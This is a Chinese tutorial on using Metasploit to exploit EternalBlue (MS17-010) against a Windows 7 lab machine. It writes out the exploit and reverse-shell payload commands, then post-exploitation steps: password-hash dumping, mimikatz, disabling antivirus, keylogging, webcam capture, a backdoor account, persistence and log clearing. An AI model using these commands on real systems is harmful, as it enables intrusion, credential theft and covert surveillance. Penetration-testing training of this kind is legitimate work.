Metasploit(MSF)使用教程(以ms17_010永恒之蓝为例)

一.Metasploit简介:
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。
在这里插入图片描述
二.永恒之蓝简介:
MS17-010,也被称为“永恒之蓝”(EternalBlue),是一个针对Microsoft Windows操作系统中服务器消息块(SMB)协议的漏洞。这个漏洞允许攻击者在没有任何用户交互的情况下远程执行任意代码,这意味着攻击者可以远程控制受影响的系统。
利用条件:
Windows Vista、Windows 7、Windows 8.1、Windows 10、Windows Server 2008、Windows Server 2012和Windows Server 2016等,利用SMB协议(特别是SMBv1)的漏洞,需要目标系统开放了139或445端口。

三.环境:
攻击机器:Kali Linux(已内置Metasploit),靶标:windows7旗舰版x64
MSF官网:https://www.rapid7.com/products/metasploit/download/

四.MS17-010利用过程:
1.启动kali的nmap,探测一下靶标的455端口开放情况。
在这里插入图片描述
2.启动msf命令:msfconsole
在这里插入图片描述
3.ms17_010模块使用过程

search ms17_010                              查找相应的漏洞模块
​
use 0      加载模块,使用编号为0的攻击模块,"0"也可替换编号后的Name
​
set RHOSTS 192.168.211.129                   设置攻击目标
​
check                                        进行检测,确认是否存在ms17_010漏洞
​
set payload windows/x64/meterpreter/reverse_tcp  
//加载payload,设置攻击载荷。windows表示靶机操作系统、x64表示64位系统、meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用、reverse_tcp表示从靶机发起一个反向tcp连接到攻击机,默认连接端口为4444,可以通过set lport 命令更改
​
set LHOST 192.168.211.128                    设置本地IP
​
show options                                 查看模块相关参数
​
run     运行攻击,exploit也可

在这里插入图片描述

4.Meterpreter的命令用法:

shell         #获取目标主机的cmd_shell权限
chcp 65001    #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
想要从目标机器shell推出到meterpreter,我们只需要输入:exit
background   #把我们获得的meterpreter会话挂载到后台运行
sessions  -l    #查看获得的meterpreter_shell会话列表,输入sessions [id号]即可进入相应的meterpreter_shell中

在这里插入图片描述

==========================================
命令                           说明
-------                       ------------
?                             帮助菜单
background                    把当前会话挂到后台运行
bg                            background命令的别名
bgkill                        杀死后台meterpreter 脚本
bglist                        列出正在运行的后台脚本
bgrun                         执行一个meterpreter脚本作为后台线程
channel                       显示信息或控制活动频道
close                         关闭一个频道
detach                        分离Meterpreter会话(用于 http/https)
disable_unicode_encoding      禁用 unicode 字符串的编码
enable_unicode_encoding       启用 unicode 字符串的编码
exit                          终止 Meterpreter 会话
get_timeouts                  获取当前会话超时值
guid                          获取会话 GUID
help                          帮助菜单
info                          显示有关 Post 模块的信息
irb                           在当前会话中打开一个交互式 Ruby shell
load                          加载一个或多个 Meterpreter 扩展
machine_id                    获取连接到会话的机器的 MSF ID
migrate                       将服务器迁移到另一个进程
pivot                         管理枢轴侦听器
pry                           在当前会话上打开 Pry 调试器
quit                          终止 Meterpreter 会话
read                          从通道读取数据
resource                      运行存储在文件中的命令
run                           执行一个 Meterpreter 脚本或 Post 模块
secure                       (重新)协商会话上的 TLV 数据包加密
sessions                      快速切换到另一个会话
set_timeouts                  设置当前会话超时值
sleep                         强制 Meterpreter 安静,然后重新建立会话
ssl_verify                    修改 SSL 证书验证设置
transport                     管理运输机制
use                           不推荐使用的load命令别名
uuid                          获取当前会话的 UUID
write                         将数据写入通道==========================================
Stdapi:文件系统命令
==========================================
命令                           说明
-------                       ------------
cat                           将文件内容读到屏幕上
cd                            切换目录
checksum                      检索文件的校验和
cp                            将源复制到目标
del                           删除指定文件
dir                           列出文件(ls 的别名)
download                      下载文件或目录
edit                          编辑文件
getlwd                        打印本地工作目录
getwd                         打印工作目录
lcd                           更改本地工作目录
lls                           列出本地文件
lpwd                          打印本地工作目录
ls                            列出文件
mkdir                         制作目录
mv                            将源移动到目标
pwd                           打印工作目录
rm                            删除指定文件
rmdir                         删除目录
search                        搜索文件
show_mount                    列出所有挂载点/逻辑驱动器
upload                        上传文件或目录==========================================
Stdapi:网络命令
==========================================
命令                           说明
-------                       ------------
arp                           显示主机 ARP 缓存
getproxy                      显示当前代理配置
ifconfig                      显示界面
ipconfig                      显示接口
netstat                       显示网络连接
portfwd                       将本地端口转发到远程服务
resolve                       解析目标上的一组主机名
route                         查看和修改路由表==========================================
Stdapi:系统命令
==========================================
命令                           说明
-------                       ------------
clearev                       清除事件日志
drop_token                    放弃任何活动的模拟令牌。
execute                       执行命令
getenv                        获取一个或多个环境变量值
getpid                        获取当前进程标识符
getprivs                      尝试启用当前进程可用的所有权限
getid                         获取服务器运行的用户的 SID
getuid                        获取服务器运行的用户
kill                          终止进程
localtime                     显示目标系统本地日期和时间
pgrep                         按名称过滤进程
pkill                         按名称终止进程
ps                            列出正在运行的进程
reboot                        重启远程计算机
reg                           修改远程注册表并与之交互
rev2self                      在远程机器上调用 RevertToSelf()
shell                         放入系统命令 shell
shutdown                      关闭远程计算机
steal_token                   尝试从目标进程窃取模拟令牌
suspend                       暂停或恢复进程列表
sysinfo                       获取有关远程系统的信息,例如OS ==========================================
Stdapi:用户界面命令
==========================================
命令                           说明
-------                       ------------
enumdesktops                  列出所有可访问的桌面和窗口站
getdesktop                    获取当前的meterpreter桌面
idletime                      返回远程用户空闲的秒数
keyboard_send                 发送击键
keyevent                      发送按键事件
keyscan_dump                  转储击键缓冲区
keyscan_start                 开始捕获击键
keyscan_stop                  停止捕获击键
mouse                         发送鼠标事件
screenshare                   实时观看远程用户桌面
screenshot                    抓取交互式桌面的截图
setdesktop                    更改meterpreters当前桌面
uictl                         控制一些用户界面组件==========================================
Stdapi:网络摄像头命令:
==========================================
命令                           说明
-------                       ------------
record_mic                    从默认麦克风录制音频 X 秒
webcam_chat                   开始视频聊天
webcam_list                   列出网络摄像头
webcam_snap                   从指定的网络摄像头拍摄快照
webcam_stream                 从指定的网络摄像头播放视频流==========================================
Stdapi:音频输出命令:
==========================================
命令                           说明
-------                       ------------
play                          在目标系统上播放波形音频文件(.wav) ==========================================
Priv:权限提升命令:
==========================================
命令                           说明
-------                       ------------
getsystem                     尝试将您的权限提升到本地系统的权限。==========================================
Priv:密码数据库命令:
==========================================
命令                           说明
-------                       ------------
hashdump                      转储 SAM 数据库的内容==========================================
Priv:Timestomp 命令:
==========================================
命令                           说明
-------                       ------------
timestomp                     操作文件 MACE 属性meterpreter >

5.shell中常用命令

sysinfo             									#查看目标主机系统信息
run scraper         									#查看目标主机详细信息
run hashdump        									#导出密码的哈希
load kiwi           									#加载mimikatz
ps                  									#查看目标主机进程信息
pwd                		 								#查看目标当前目录(windows)
getlwd              									#查看目标当前目录(Linux)
search -f *.jsp -d e:\                					#搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          					#将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      					#将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid             										#查看当前Meterpreter Shell的进程PID
migrate 1384        									#将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime           		 								#查看主机运行时间
getuid              									#查看获取的当前权限
getsystem           									#提权,获得的当前用户是administrator才能成功
run  killav        			 							#关闭杀毒软件
screenshot          									#截图
webcam_list         									#查看目标主机的摄像头
webcam_snap         									#拍照
webcam_stream       									#开视频
execute 参数 -f 可执行文件   							#执行可执行程序
run getgui -u test1 -p Abc123456    					#创建test1用户,密码为Abc123456
run getgui -e                							#开启远程桌面
keyscan_start                							#开启键盘记录功能
keyscan_dump                			 				#显示捕捉到的键盘记录信息
keyscan_stop                 							#停止键盘记录功能
uictl  disable  keyboard     							#禁止目标使用键盘
uictl  enable   keyboard     							#允许目标使用键盘
uictl  disable  mouse        							#禁止目标使用鼠标
uictl  enable   mouse        							#允许目标使用鼠标
load                        							#使用扩展库
run				             							#使用扩展库run exploit/windows/local/persistence lhost=192.168.230.130 lport=8888                        #会自动连接192.168.230.130的8888端口,缺点是容易被杀毒软件查杀
portfwd add -l 9999 -r 192.168.230.132 -p 3389     		#将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址
clearev                       #清除日志

五.防护措施
关闭445等高危端口
配置防火墙,安装防护软件
安装补丁

到此本文就结束了,本文仅介绍Metasploit的简单入门,更多功能自行学习探索,相信你会掌握这一款强大的渗透测试扫描神器,禁止非法扫描,后果自负。

人生哪来那么多幸运,只不过别人努力时你假装看不见,幸运和不幸都是由我们自己来决定,唯一公平的是我们可以通过自己的努力去改变运气坐标的方向!

本文转载自天乐博客:https://blog.361s.cn/501.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/738721.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何运用惟客数据CDP客户数据平台构建好用户画像?

​惟客数据CDP是一个企业级客户数据资产平台,能够跨平台整合全域客户数据,统一客户身份,实时全景客户画像,基于大数据计算和挖分析提供深度客户洞察,实现精细化运营和精准营销。部署更轻更快,快速实现企业数…

API接口数据集接口pytorch api接口获取数据

API是应用程序的开发接口,在开发程序的时候,我们有些功能可能不需要从到到位去研发,我们可以拿现有的开发出来的功能模块来使用,而这个功能模块,就叫做库(libary)。比如说:要实现数据传输的安全&#xff0c…

10分钟读懂Diffusion:图解Diffusion扩散模型

数据派THU 本文通过图解的方式让大家快速了解 Diffusion 原理。 [ 导读 ]想必大家都听说过——图像领域大火的深度生成模型Diffusion Model,为了让大家快速了解 Diffusion 原理,这篇文章我们通过图解的方式。希望对你有所帮助,让你在学习和应…

3D Gaussian Splatting for Real-Time Radiance Field Rendering(慢慢啃,还是挺复杂的)

三个关键要素 从相机配准的过程中得到的稀疏点云开始,使用3D Gaussian表示场景; 3D Gaussian: 是连续体积辐射场能够防止不必要的空空间优化。对 3D Gaussion进行交叉优化和密度控制: 优化各向异性血方差对场景精确表示。使用快速可视感知渲染算法来进行快速的训练…

CVE-2024-27199 JetBrains TeamCity 身份验证绕过漏洞2

漏洞简介 TeamCity Web 服务器中发现了第二个身份验证绕过漏洞。这种身份验证旁路允许在没有身份验证的情况下访问有限数量的经过身份验证的端点。未经身份验证的攻击者可以利用此漏洞修改服务器上有限数量的系统设置,并泄露服务器上有限数量的敏感信息。 项目官网…

当HR问你:“什么事会让你有成就感”你该怎么回答?【文章底部添加进大学生就业交流群】

当HR问你“什么事会让你有成就感”时,你可以通过以下方式回答: 强调目标实现: 表达你在达成挑战性目标时感到的满足感。举例说明你在过去的工作或项目中如何设定并成功实现了目标。 强调对团队成功的贡献: 谈论你与团队合作取得成…

Caffeine--实现进程缓存

本地进程缓存特点 缓存在日常开发中起着至关重要的作用, 由于存储在内存中, 数据的读取速度非常快,能大量减少对数据库的访问,减少数据库的压力. 缓存分为两类: 分布式缓存, 例如Redis: 优点: 存储容量大, 可靠性更好, 可以在集群间共享缺点: 访问缓存存在网络开销场景: 缓存数…

c++: 引用能否替代指针? 详解引用与指针的区别.

文章目录 前言1. 引用和指针的最大区别:引用不能改变指向2. 引用和指针在底层上面是一样的3. 引用和指针在sizeof面前大小不同4. 有多级指针,没有多级引用5.引用是引用的实体,指针会向后偏移同一个类型的大小 总结 前言 新来的小伙伴如果不知道引用是什么?可以看我的上一篇文…

el-table-column嵌套el-form-item不能进行校验问题解决

项目为vue3elementPlus开发的项目 业务要求:table表格展示数据,其中有一行是ip地址可展示可修改,此处要求增加自定义校验规则 先看一下效果: 此处先描述一下,问题出在了哪里,我将el-table的data,使用一个…

日常004:对文件、目录拥有rwx权限后可以做什么?

日常004:对文件、目录拥有rwx权限后可以做什么? ‍ 1.rwx权限针对文件的内容,而非文件本身。 2.文件夹是特殊的文件,它的内容就是ls -a​的所有文件和文件夹 r 读取目录w 添加、删除、重命名文件x 进入目录 ‍ 删除文件使用的是所…

connection SQLException, url:jdbc ,errorCode 0, state 08S01

connection SQLException, url: jdbc:mysql://localhost:3306/itcast_health?useUnicodetrue&characterEncodingutf-8, errorCode 0, state 08S01 添加:&useSSLfalse 添加前 添加后: 查询数据库正常

7.5寸WIFI电子桌牌 PW75R_DM

产品型号 PW75R_DM 尺寸(mm) 190*152*45mm 显示技术 电子墨水屏双面显示 显示区域(mm) 163.2(H) * 97.92(V) 分辨率(像素) 800*480 外观颜色 银灰色 显示颜色 黑/白/红 视觉角度 180 工作温度 0 - 40℃ 电池容量 2000mAh 供电方式 锂电池供电(…

张驰咨询 - 推动新质生产力,新材料行业定制管理咨询解决方案

在这个快速变革的时代,张驰咨询携手各行业领军企业,共同打造新质生产力的未来。我们深入理解每个行业的发展现状及特点,洞察企业面临的痛点,用精准咨询方案,为新能源汽车、光伏产业、机器人、高端装备以及新材料和电子…

链表中的经典问题——回文链表

回文链表 给你一个单链表的头节点 head ,请你判断该链表是否为回文链表。如果是,返回 true ;否则,返回 false 。 题解一: 要判断一个单链表是否为回文链表,可以使用双指针和逆序链表的方法。具体步骤如下&…

AIGC笔记--Maya提取和修改FBX动作文件

目录 1--Maya数据解析 2--FBX SDK导出6D数据 3--6D数据映射和Maya可视化 完整项目代码:Data-Processing/FBX_SDK_Maya 1--Maya数据解析 在软件Maya中直接拖入FBX文件,可以播放和查看人体各个骨骼关节点的数据: 对于上图来说,…

基于yolov5的草莓成熟度检测系统,可进行图像目标检测,也可进行视屏和摄像检测(pytorch框架)【python源码+UI界面+功能源码详解】

功能演示: 基于yolov5的草莓成熟度检测系统,系统既能够实现图像检测,也可以进行视屏和摄像实时检测_哔哩哔哩_bilibili (一)简介 基于yolov5的草莓成熟度系统是在pytorch框架下实现的,这是一个完整的项目…

【机器学习】包裹式特征选择之拉斯维加斯包装器(LVW)算法

🎈个人主页:豌豆射手^ 🎉欢迎 👍点赞✍评论⭐收藏 🤗收录专栏:机器学习 🤝希望本文对您有所裨益,如有不足之处,欢迎在评论区提出指正,让我们共同学习、交流进…

C#,T检验(T -Test)的算法与源代码

1 T-Test 学生t检验(英语:Students t-test)是指虚无假设成立时的任一检定统计有学生t-分布的统计假说检定,属于母数统计。学生t检验常作为检验一群来自正态分配母体的独立样本之期望值的是否为某一实数,或是二群来自正态分配母体的独立样本之期望值的差是否为某一实数。举…

C语言从入门到熟悉------第二阶段

printf的用法 printf的格式有四种: (1)printf("字符串\n"); 其中\n表示换行的意思。其中n是“new line”的缩写,即“新的一行”。此外需要注意的是,printf中的双引号和后面的分号必须是在英文输入法下。双引…

六西格玛倡导者培训怎么选?这份攻略送给你

作为企业的中坚力量,成为一名合格的六西格玛倡导者,不仅是对个人能力的极大提升,更是对企业持续发展的重要保障。那么,如何选择适合自己的六西格玛倡导者培训课程呢?天行健Six Sigma咨询公司有建议如下: 一…